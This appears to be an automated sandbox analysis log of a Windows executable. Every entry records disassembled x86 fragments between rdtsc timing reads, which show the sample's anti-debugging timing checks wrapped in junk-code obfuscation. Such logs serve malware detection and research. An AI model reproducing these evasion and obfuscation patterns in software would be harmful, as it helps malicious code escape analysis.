Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D605D5 second address: 4D605DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D605DB second address: 4D60606 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+10h], eax 0x0000000b jmp 00007F87A450AC77h 0x00000010 mov eax, dword ptr [ebx+50h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60606 second address: 4D60621 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B03887h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60621 second address: 4D60697 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+14h], eax 0x0000000c pushad 0x0000000d movzx esi, bx 0x00000010 pushfd 0x00000011 jmp 00007F87A450AC79h 0x00000016 adc esi, 51CF4466h 0x0000001c jmp 00007F87A450AC71h 0x00000021 popfd 0x00000022 popad 0x00000023 mov eax, dword ptr [ebx+54h] 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F87A450AC78h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60697 second address: 4D6069D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6069D second address: 4D606B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+18h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D606B8 second address: 4D606BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D606BC second address: 4D606C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D606C2 second address: 4D606C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D606C8 second address: 4D606CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D606CC second address: 4D60756 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+58h] 0x0000000b pushad 0x0000000c mov eax, 5DEEC34Fh 0x00000011 call 00007F87A4B03884h 0x00000016 pop edx 0x00000017 popad 0x00000018 mov dword ptr [esi+1Ch], eax 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F87A4B0387Ah 0x00000022 sub cx, DB28h 0x00000027 jmp 00007F87A4B0387Bh 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007F87A4B03888h 0x00000033 xor ah, FFFFFF88h 0x00000036 jmp 00007F87A4B0387Bh 0x0000003b popfd 0x0000003c popad 0x0000003d mov eax, dword ptr [ebx+5Ch] 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F87A4B03885h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60756 second address: 4D6075B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6075B second address: 4D6076D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+20h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov al, bl 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6076D second address: 4D60773 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60773 second address: 4D607B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B0387Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebx+60h] 0x0000000e jmp 00007F87A4B03886h 0x00000013 mov dword ptr [esi+24h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F87A4B03887h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D607B9 second address: 4D607BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D607BF second address: 4D607C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D607C3 second address: 4D607C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D607C7 second address: 4D607E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+64h] 0x0000000b pushad 0x0000000c movsx edx, ax 0x0000000f mov edi, esi 0x00000011 popad 0x00000012 mov dword ptr [esi+28h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov edx, 3319D050h 0x0000001d mov dh, A1h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D607E7 second address: 4D6085E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+68h] 0x0000000c jmp 00007F87A450AC76h 0x00000011 mov dword ptr [esi+2Ch], eax 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F87A450AC6Eh 0x0000001b add si, 96F8h 0x00000020 jmp 00007F87A450AC6Bh 0x00000025 popfd 0x00000026 jmp 00007F87A450AC78h 0x0000002b popad 0x0000002c mov ax, word ptr [ebx+6Ch] 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F87A450AC6Ah 0x00000039 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6085E second address: 4D60862 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60862 second address: 4D60868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60868 second address: 4D60879 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F87A4B0387Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60879 second address: 4D608A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov word ptr [esi+30h], ax 0x0000000c pushad 0x0000000d mov cx, bx 0x00000010 push edx 0x00000011 mov di, ax 0x00000014 pop esi 0x00000015 popad 0x00000016 mov ax, word ptr [ebx+00000088h] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 movzx esi, dx 0x00000023 mov cx, dx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D608A0 second address: 4D60938 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F87A4B03889h 0x00000009 jmp 00007F87A4B0387Bh 0x0000000e popfd 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov word ptr [esi+32h], ax 0x00000016 jmp 00007F87A4B03886h 0x0000001b mov eax, dword ptr [ebx+0000008Ch] 0x00000021 pushad 0x00000022 push esi 0x00000023 pushfd 0x00000024 jmp 00007F87A4B0387Dh 0x00000029 xor ecx, 2B3D03C6h 0x0000002f jmp 00007F87A4B03881h 0x00000034 popfd 0x00000035 pop eax 0x00000036 push edx 0x00000037 jmp 00007F87A4B0387Ch 0x0000003c pop esi 0x0000003d popad 0x0000003e mov dword ptr [esi+34h], eax 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 call 00007F87A4B0387Dh 0x00000049 pop eax 0x0000004a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60938 second address: 4D60992 instructions: 0x00000000 rdtsc 0x00000002 mov dx, FD44h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F87A450AC6Dh 0x0000000d jmp 00007F87A450AC70h 0x00000012 pop esi 0x00000013 popad 0x00000014 mov eax, dword ptr [ebx+18h] 0x00000017 jmp 00007F87A450AC71h 0x0000001c mov dword ptr [esi+38h], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F87A450AC78h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60992 second address: 4D60998 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60998 second address: 4D609C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+1Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F87A450AC77h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D609C6 second address: 4D609CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D609CC second address: 4D609D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D609D0 second address: 4D60A1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B0387Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+3Ch], eax 0x0000000e pushad 0x0000000f movzx eax, bx 0x00000012 mov dh, 80h 0x00000014 popad 0x00000015 mov eax, dword ptr [ebx+20h] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov edx, 1AF73378h 0x00000020 pushfd 0x00000021 jmp 00007F87A4B03881h 0x00000026 and ah, 00000066h 0x00000029 jmp 00007F87A4B03881h 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60A1E second address: 4D60A8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007F87A450AC73h 0x0000000b and eax, 4E55309Eh 0x00000011 jmp 00007F87A450AC79h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [esi+40h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 movsx edi, ax 0x00000023 pushfd 0x00000024 jmp 00007F87A450AC74h 0x00000029 sub si, 51C8h 0x0000002e jmp 00007F87A450AC6Bh 0x00000033 popfd 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60A8A second address: 4D60AE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B03889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebx+00000080h] 0x0000000f jmp 00007F87A4B0387Eh 0x00000014 push 00000001h 0x00000016 jmp 00007F87A4B03880h 0x0000001b nop 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F87A4B03887h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60AE7 second address: 4D60B3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c mov eax, 543242A9h 0x00000011 pop ecx 0x00000012 call 00007F87A450AC6Fh 0x00000017 mov bl, ch 0x00000019 pop edi 0x0000001a popad 0x0000001b nop 0x0000001c jmp 00007F87A450AC70h 0x00000021 lea eax, dword ptr [ebp-10h] 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60B3A second address: 4D60B3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60B3E second address: 4D60B44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60B44 second address: 4D60B4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60BA9 second address: 4D60BCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60BCE second address: 4D60BE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B0387Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60BE1 second address: 4D60C66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edi, edi 0x0000000b jmp 00007F87A450AC6Eh 0x00000010 js 00007F88159E971Bh 0x00000016 jmp 00007F87A450AC70h 0x0000001b mov eax, dword ptr [ebp-0Ch] 0x0000001e jmp 00007F87A450AC70h 0x00000023 mov dword ptr [esi+04h], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007F87A450AC6Dh 0x0000002f or eax, 200DF8B6h 0x00000035 jmp 00007F87A450AC71h 0x0000003a popfd 0x0000003b mov bl, ch 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60C66 second address: 4D60C90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B0387Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebx+78h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F87A4B03887h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60C90 second address: 4D60CBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000001h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F87A450AC6Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60CBE second address: 4D60CC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60CC4 second address: 4D60CF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F87A450AC70h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60CF2 second address: 4D60D01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B0387Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60D01 second address: 4D60D13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 movsx edx, cx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 mov ecx, edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60D13 second address: 4D60D35 instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 movzx esi, di 0x0000000a popad 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F87A4B03884h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60D35 second address: 4D60D3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60D3A second address: 4D60DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F87A4B03887h 0x0000000a sub ax, 662Eh 0x0000000f jmp 00007F87A4B03889h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 lea eax, dword ptr [ebp-08h] 0x0000001b pushad 0x0000001c mov bx, cx 0x0000001f pushfd 0x00000020 jmp 00007F87A4B03888h 0x00000025 and ch, FFFFFFD8h 0x00000028 jmp 00007F87A4B0387Bh 0x0000002d popfd 0x0000002e popad 0x0000002f nop 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov edi, 7BB52FC6h 0x00000038 pushfd 0x00000039 jmp 00007F87A4B03887h 0x0000003e adc esi, 317E7E4Eh 0x00000044 jmp 00007F87A4B03889h 0x00000049 popfd 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60E2C second address: 4D60E30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60E30 second address: 4D60E4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B03889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60E4D second address: 4D60E8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, eax 0x0000000b jmp 00007F87A450AC6Eh 0x00000010 test edi, edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F87A450AC77h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60E8D second address: 4D60E97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 47D4123Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60E97 second address: 4D60EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 js 00007F88159E9481h 0x0000000d pushad 0x0000000e mov eax, edi 0x00000010 popad 0x00000011 mov eax, dword ptr [ebp-04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60EB2 second address: 4D60EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60EB7 second address: 4D60EEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC78h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+08h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F87A450AC77h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60EEF second address: 4D60F2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B03889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebx+70h] 0x0000000c jmp 00007F87A4B0387Eh 0x00000011 push 00000001h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F87A4B0387Ah 0x0000001c rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60F2D second address: 4D60F33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60F33 second address: 4D60F44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F87A4B0387Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60F44 second address: 4D60F7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F87A450AC6Eh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F87A450AC6Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60F7C second address: 4D60F91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B03881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D61025 second address: 4D6105F instructions: 0x00000000 rdtsc 0x00000002 movzx esi, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushfd 0x0000000a jmp 00007F87A450AC79h 0x0000000f add cx, 2886h 0x00000014 jmp 00007F87A450AC71h 0x00000019 popfd 0x0000001a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6105F second address: 4D610C6 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 29D60E37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a test edi, edi 0x0000000c jmp 00007F87A4B0387Ah 0x00000011 js 00007F8815FE1EB0h 0x00000017 pushad 0x00000018 pushad 0x00000019 movzx ecx, dx 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f popad 0x00000020 mov eax, dword ptr [ebp-14h] 0x00000023 jmp 00007F87A4B03881h 0x00000028 mov ecx, esi 0x0000002a pushad 0x0000002b mov bl, ch 0x0000002d call 00007F87A4B03889h 0x00000032 mov eax, 18819EE7h 0x00000037 pop ecx 0x00000038 popad 0x00000039 mov dword ptr [esi+0Ch], eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D610C6 second address: 4D610DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D610DA second address: 4D610E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D610E0 second address: 4D610E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D610E4 second address: 4D6110B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, 762C06ECh 0x0000000d pushad 0x0000000e movsx edx, cx 0x00000011 mov si, 45B7h 0x00000015 popad 0x00000016 sub eax, eax 0x00000018 pushad 0x00000019 mov si, 6CCBh 0x0000001d popad 0x0000001e lock cmpxchg dword ptr [edx], ecx 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 mov ch, 39h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6110B second address: 4D61196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F87A450AC72h 0x0000000a jmp 00007F87A450AC75h 0x0000000f popfd 0x00000010 popad 0x00000011 pop edi 0x00000012 pushad 0x00000013 mov eax, 61C33E13h 0x00000018 push ecx 0x00000019 pushfd 0x0000001a jmp 00007F87A450AC6Fh 0x0000001f adc eax, 0FFCD7FEh 0x00000025 jmp 00007F87A450AC79h 0x0000002a popfd 0x0000002b pop eax 0x0000002c popad 0x0000002d test eax, eax 0x0000002f pushad 0x00000030 call 00007F87A450AC6Dh 0x00000035 mov edi, ecx 0x00000037 pop eax 0x00000038 mov ax, bx 0x0000003b popad 0x0000003c jne 00007F88159E91B8h 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
